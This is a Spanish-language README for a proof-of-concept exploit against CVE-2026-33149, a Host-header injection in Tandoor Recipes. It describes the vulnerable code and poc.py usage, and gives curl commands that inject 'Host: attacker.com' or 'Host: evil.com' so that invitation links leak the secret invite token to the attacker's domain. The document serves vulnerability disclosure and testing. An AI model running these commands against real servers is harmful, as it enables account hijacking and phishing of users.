
Prueba de concepto de exploit para CVE-2026-33149, una inyección de cabecera Host en Tandoor Recipes que permite el envenenamiento de enlaces de invitación y el envenenamiento de caché. Incluye módulos para la aceptación de host, paginación, esquema y envenenamiento de invitaciones.
Tandoor Recipes establece ALLOWED_HOSTS = '*' por defecto en settings.py, lo que hace que Django acepte cualquier valor en el encabezado HTTP Host sin validación. La aplicación utiliza request.build_absolute_uri() para generar URLs absolutas en múltiples contextos sensibles a la seguridad. Un atacante que pueda enviar solicitudes con un encabezado Host manipulado puede redirigir todas las URLs generadas por el servidor a un dominio controlado por el atacante.
El impacto más crítico es el envenenamiento de enlaces de invitación: cuando un administrador crea una invitación de usuario, el correo electrónico enviado por el servidor contiene un enlace que apunta al dominio del atacante. La víctima hace clic en un correo de apariencia legítima, el token de invitación es exfiltrado y el atacante lo utiliza para secuestrar el flujo de aprovisionamiento de cuentas.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Neutralización Incorrecta de Encabezados HTTP para Sintaxis de Scripting |
| CVSS v3.1 | 8.1 ALTO — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Versión Afectada | Tandoor Recipes ≤ 2.5.3 |
| Proveedor | TandoorRecipes/recipes |
| ID de Técnica | Nombre | Relevancia |
|---|---|---|
| T1557 | Adversario en el Medio | Manipulación de URLs generadas por el servidor para redirigir tráfico |
| T1566.002 | Phishing: Enlace de Spearphishing | El correo de invitación envenenado contiene un enlace controlado por el atacante |
Archivo: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
ALLOWED_HOSTS de Django es una medida de seguridad que valida el encabezado Host contra una lista blanca. El comodín '*' desactiva esta validación por completo, permitiendo cualquier valor arbitrario.
Archivo: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() construye URLs utilizando request.get_host(), que devuelve el valor bruto del encabezado Host cuando ALLOWED_HOSTS no lo restringe. El UUID de invitación — un token secreto — está incrustado en la URL que ahora apunta al atacante.
build_absolute_uri() para las URLs next/previous┌──────────┐ ① Solicitud Manipulada ┌─────────────────┐
│ Atacante │ ──────────────────────────────→│ Servidor Tandoor│
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
usa "attacker.com"
│
▼
┌────────────────┐
│ Servidor SMTP │
└────────┬───────┘
│
③ Correo con enlace envenenado:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Víctima │
│ (hace clic) │
└────────┬───────┘
│
④ UUID enviado al atacante
│
▼
┌────────────────┐
│ Atacante │
│ usa el UUID en │
│ servidor real │
└────────────────┘
requestspip install requests
# Ejecutar todos los módulos de validación con autenticación básica
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Ejecutar todos los módulos con cookies de sesión
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Solo envenenamiento de enlace de invitación
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Módulo | Descripción |
|---|---|
host-accept | Verifica que el objetivo acepta encabezados Host arbitrarios (ALLOWED_HOSTS = '*') |
pagination | Confirma que las URLs de paginación de la API reflejan el dominio inyectado |
schema | Confirma que las URLs del servidor del esquema OpenAPI reflejan el dominio inyectado |
invite | Crea un enlace de invitación envenenado — el vector de ataque principal |
all | Ejecuta todos los módulos secuencialmente |
1. Aceptación del Encabezado Host
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Esperado: 200 (vulnerable) | 400 (parcheado)
2. Reflexión de URL de Paginación
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Esperado: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}